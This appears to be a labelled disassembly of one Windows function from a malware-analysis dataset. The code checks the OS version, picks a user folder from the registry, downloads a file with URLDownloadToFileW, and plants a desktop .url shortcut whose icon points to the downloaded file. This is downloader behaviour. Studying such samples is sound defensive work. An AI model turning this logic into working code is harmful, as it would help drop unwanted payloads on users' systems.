Function at 0x422460
Capabilities:
Check os version
Download url
Persist via run registry key
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x468418
mov eax, dword fs:[0]
push eax
sub esp, 0x5c0
mov eax, dword [0x482410]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x548], ecx
mov byte [ebp - 0x1d], 0
push 0x11c
push 0
lea eax, [ebp - 0x144]
push eax
call fcn.0044e560
add esp, 0xc
mov dword [ebp - 0x144], 0x11c
lea ecx, [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x4224e7
mov dword [ebp - 0x144], 0x114
lea edx, [ebp - 0x144]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x4224e7
jmp 0x422daa
cmp dword [ebp - 0x140], 6
jb 0x4224f4
mov byte [ebp - 0x1d], 1
lea ecx, [ebp - 0x14]
call fcn.0040c780
mov dword [ebp - 4], 0
push 0x8f
lea ecx, [ebp - 0x14]
call fcn.0040cb00
lea ecx, [ebp - 0x10]
call fcn.0040c780
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.0040c8a0
mov esi, eax
push 0x2f
lea ecx, [ebp - 0x14]
call fcn.0040bdf0
sub esi, eax
sub esi, 1
push esi
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x14]
call fcn.0040be40
mov byte [ebp - 4], 2
movzx ecx, byte [ebp - 0x1d]
test ecx, ecx
jne 0x42278a
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
lea ecx, [ebp - 0x3a0]
call fcn.00401070
mov byte [ebp - 4], 3
push 0x2001f
push 0x80000001
lea edx, [ebp - 0x3a0]
push edx
lea ecx, [ebp - 0x14c]
call fcn.00409510
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x3a0]
call fcn.00418190
push str.My_Pictures
lea ecx, [ebp - 0x3d8]
call fcn.00401ef0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x3bc]
call fcn.004010d0
mov dword [ebp - 0x54c], eax
mov eax, dword [ebp - 0x54c]
mov dword [ebp - 0x550], eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x550]
push ecx
lea edx, [ebp - 0x3d8]
push edx
lea eax, [ebp - 0x3f4]
push eax
lea ecx, [ebp - 0x14c]
call fcn.00409580
mov dword [ebp - 0x554], eax
mov ecx, dword [ebp - 0x554]
mov dword [ebp - 0x558], ecx
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x558]
call fcn.00401ed0
push eax
lea ecx, [ebp - 0x150]
call fcn.0040c7c0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x3f4]
call fcn.00401100
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x3bc]
call fcn.00401100
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x3d8]
call fcn.00401100
lea ecx, [ebp - 0x150]
call fcn.0040c8a0
test eax, eax
jne 0x42265f
push 0x46f35c
lea ecx, [ebp - 0x150]
call fcn.00439170
push 0x24
lea edx, [ebp - 0x3f8]
push edx
mov ecx, dword [ebp - 0x548]
call fcn.00421f40
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x55c]
mov dword [ebp - 0x560], eax
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x560]
call fcn.00415440
push eax
push str._SystemRoot_
lea ecx, [ebp - 0x150]
call fcn.00425ff0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x3f8]
call fcn.0040c840
push 0x46f37c
lea ecx, [ebp - 0x3fc]
call fcn.00437c70
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x3fc]
push edx
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x400]
push ecx
call fcn.00426200
add esp, 0xc
mov dword [ebp - 0x564], eax
mov edx, dword [ebp - 0x564]
mov dword [ebp - 0x568], edx
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x568]
push eax
lea ecx, [ebp - 0x404]
push ecx
call fcn.00426200
add esp, 0xc
mov dword [ebp - 0x56c], eax
mov edx, dword [ebp - 0x56c]
mov dword [ebp - 0x570], edx
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x570]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040bdd0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x404]
call fcn.0040c840
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x400]
call fcn.0040c840
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x3fc]
call fcn.0040c840
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x150]
call fcn.0040c840
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x14c]
call fcn.004094b0
jmp 0x4228c5
push str.AppDatalocalLow
lea ecx, [ebp - 0x408]
call fcn.00437c70
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x408]
push ecx
push 0x28
lea edx, [ebp - 0x40c]
push edx
mov ecx, dword [ebp - 0x548]
call fcn.00421f40
mov dword [ebp - 0x574], eax
mov eax, dword [ebp - 0x574]
mov dword [ebp - 0x578], eax
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x578]
push ecx
lea edx, [ebp - 0x154]
push edx
call fcn.00426200
add esp, 0xc
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x40c]
call fcn.0040c840
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x408]
call fcn.0040c840
push 0x46f394
lea ecx, [ebp - 0x410]
call fcn.00437c70
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x410]
push ecx
lea edx, [ebp - 0x154]
push edx
lea eax, [ebp - 0x414]
push eax
call fcn.00426200
add esp, 0xc
mov dword [ebp - 0x57c], eax
mov ecx, dword [ebp - 0x57c]
mov dword [ebp - 0x580], ecx
mov byte [ebp - 4], 0x17
mov edx, dword [ebp - 0x580]
push edx
lea eax, [ebp - 0x418]
push eax
call fcn.00426200
add esp, 0xc
mov dword [ebp - 0x584], eax
mov ecx, dword [ebp - 0x584]
mov dword [ebp - 0x588], ecx
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x588]
push edx
lea ecx, [ebp - 0x10]
call fcn.0040bdd0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x418]
call fcn.0040c840
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x414]
call fcn.0040c840
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x410]
call fcn.0040c840
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x154]
call fcn.0040c840
push 0
push 0
lea ecx, [ebp - 0x10]
call fcn.00415440
push eax
lea ecx, [ebp - 0x14]
call fcn.00415440
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jge 0x422912
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18]
call fcn.0040c840
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.0040c840
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0040c840
jmp 0x422daa
lea ecx, [ebp - 0x1c]
call fcn.0040c5f0
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1c]
call fcn.0043fef0
push eax
call dword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
lea ecx, [ebp - 0x1c]
call fcn.00415440
test eax, eax
je 0x422d6f
mov dword [ebp - 0x158], 0
lea ecx, [ebp - 0x1c]
call fcn.00415440
mov dword [ebp - 0x58c], eax
lea eax, [ebp - 0x264]
push eax
push 0x8000
mov ecx, dword [ebp - 0x158]
push ecx
mov edx, dword [ebp - 0x58c]
push edx
mov eax, dword [ebp - 0x58c]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
call edx
test eax, eax
jne 0x422d6f
lea ecx, [ebp - 0x384]
call fcn.0040c780
mov byte [ebp - 4], 0x1a
push 0x8e
lea ecx, [ebp - 0x384]
call fcn.0040cb00
lea ecx, [ebp - 0x2f0]
call fcn.0040c780
mov byte [ebp - 4], 0x1b
push 0x8d
lea ecx, [ebp - 0x2f0]
call fcn.0040cb00
push 1
push 3
lea ecx, [ebp - 0x37c]
call fcn.00426c80
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x37c]
test eax, eax
je 0x4229f0
lea ecx, [ebp - 0x37c]
add ecx, 8
mov dword [ebp - 0x590], ecx
jmp 0x4229fa
mov dword [ebp - 0x590], 0
push str._000214A0_0000_0000_C000_000000000046__r
mov edx, dword [ebp - 0x590]
push edx
call fcn.0043b3d0
add esp, 8
lea eax, [ebp - 0x37c]
test eax, eax
je 0x422a29
lea ecx, [ebp - 0x37c]
add ecx, 8
mov dword [ebp - 0x594], ecx
jmp 0x422a33
mov dword [ebp - 0x594], 0
push str.Prop319_2_r
mov edx, dword [ebp - 0x594]
push edx
call fcn.0043b3d0
add esp, 8
lea eax, [ebp - 0x37c]
test eax, eax
je 0x422a62
lea ecx, [ebp - 0x37c]
add ecx, 8
mov dword [ebp - 0x598], ecx
jmp 0x422a6c
mov dword [ebp - 0x598], 0
push str._InternetShortcut__r
mov edx, dword [ebp - 0x598]
push edx
call fcn.0043b3d0
add esp, 8
lea eax, [ebp - 0x37c]
test eax, eax
je 0x422a9b
lea ecx, [ebp - 0x37c]
add ecx, 8
mov dword [ebp - 0x59c], ecx
jmp 0x422aa5
mov dword [ebp - 0x59c], 0
push 0x46f3e4
lea ecx, [ebp - 0x2f0]
call fcn.00415440
push eax
lea ecx, [ebp - 0x49c]
call fcn.00426e60
mov dword [ebp - 0x5a0], eax
mov edx, dword [ebp - 0x5a0]
mov dword [ebp - 0x5a4], edx
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x5a4]
call fcn.00415440
push eax
push str.URL
mov eax, dword [ebp - 0x59c]
push eax
call fcn.0043b3d0
add esp, 8
push eax
call fcn.0043b3d0
add esp, 8
push eax
call fcn.0043b3d0
add esp, 8
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x49c]
call fcn.00426e90
lea ecx, [ebp - 0x37c]
test ecx, ecx
je 0x422b33
lea edx, [ebp - 0x37c]
add edx, 8
mov dword [ebp - 0x5a8], edx
jmp 0x422b3d
mov dword [ebp - 0x5a8], 0
push 0x46f3f0
lea ecx, [ebp - 0x10]
call fcn.00415440
push eax
lea ecx, [ebp - 0x520]
call fcn.00426e60
mov dword [ebp - 0x5ac], eax
mov eax, dword [ebp - 0x5ac]
mov dword [ebp - 0x5b0], eax
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x5b0]
call fcn.00415440
push eax
push str.IconFile
mov ecx, dword [ebp - 0x5a8]
push ecx
call fcn.0043b3d0
add esp, 8
push eax
call fcn.0043b3d0
add esp, 8
push eax
call fcn.0043b3d0
add esp, 8
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x520]
call fcn.00426e90
lea edx, [ebp - 0x37c]
test edx, edx
je 0x422bc8
lea eax, [ebp - 0x37c]
add eax, 8
mov dword [ebp - 0x5b4], eax
jmp 0x422bd2
mov dword [ebp - 0x5b4], 0
push str.IconIndex0
mov ecx, dword [ebp - 0x5b4]
push ecx
call fcn.0043b3d0
add esp, 8
mov edx, dword [ebp - 0x260]
push edx
lea ecx, [ebp - 0x380]
call fcn.0040c7c0
mov byte [ebp - 4], 0x1f
push str..url
lea eax, [ebp - 0x384]
push eax
push 0x46f418
lea ecx, [ebp - 0x524]
push ecx
call fcn.00426360
add esp, 0xc
mov dword [ebp - 0x5b8], eax
mov edx, dword [ebp - 0x5b8]
mov dword [ebp - 0x5bc], edx
mov byte [ebp - 4], 0x20
mov eax, dword [ebp - 0x5bc]
push eax
lea ecx, [ebp - 0x528]
push ecx
call fcn.004262b0
add esp, 0xc
mov dword [ebp - 0x5c0], eax
mov edx, dword [ebp - 0x5c0]
mov dword [ebp - 0x5c4], edx
mov byte [ebp - 4], 0x21
mov eax, dword [ebp - 0x5c4]
push eax
lea ecx, [ebp - 0x380]
call fcn.00437cf0
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x528]
call fcn.0040c840
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x524]
call fcn.0040c840
push 1
lea ecx, [ebp - 0x2ec]
call fcn.00426ec0
mov byte [ebp - 4], 0x22
push 0x40
push 0x12
lea ecx, [ebp - 0x380]
call fcn.00415440
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00426fe0
lea ecx, [ebp - 0x544]
push ecx
lea ecx, [ebp - 0x37c]
call fcn.00426db0
mov dword [ebp - 0x5c8], eax
mov edx, dword [ebp - 0x5c8]
mov dword [ebp - 0x5cc], edx
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x5cc]
call fcn.00407cc0
push eax
lea eax, [ebp - 0x2ec]
push eax
call fcn.0043b3d0
add esp, 8
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x544]
call fcn.004027c0
lea ecx, [ebp - 0x2ec]
call fcn.00427030
mov ecx, dword [ebp - 0x548]
mov byte [ecx + 0x14c], 1
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x2ec]
call fcn.00425c10
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x380]
call fcn.0040c840
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x37c]
call fcn.00425be0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x2f0]
call fcn.0040c840
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x384]
call fcn.0040c840
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1c]
call fcn.004076a0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18]
call fcn.0040c840
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.0040c840
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0040c840
xor edx, edx
jne 0x422492
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.0044dd38
mov esp, ebp
pop ebp
ret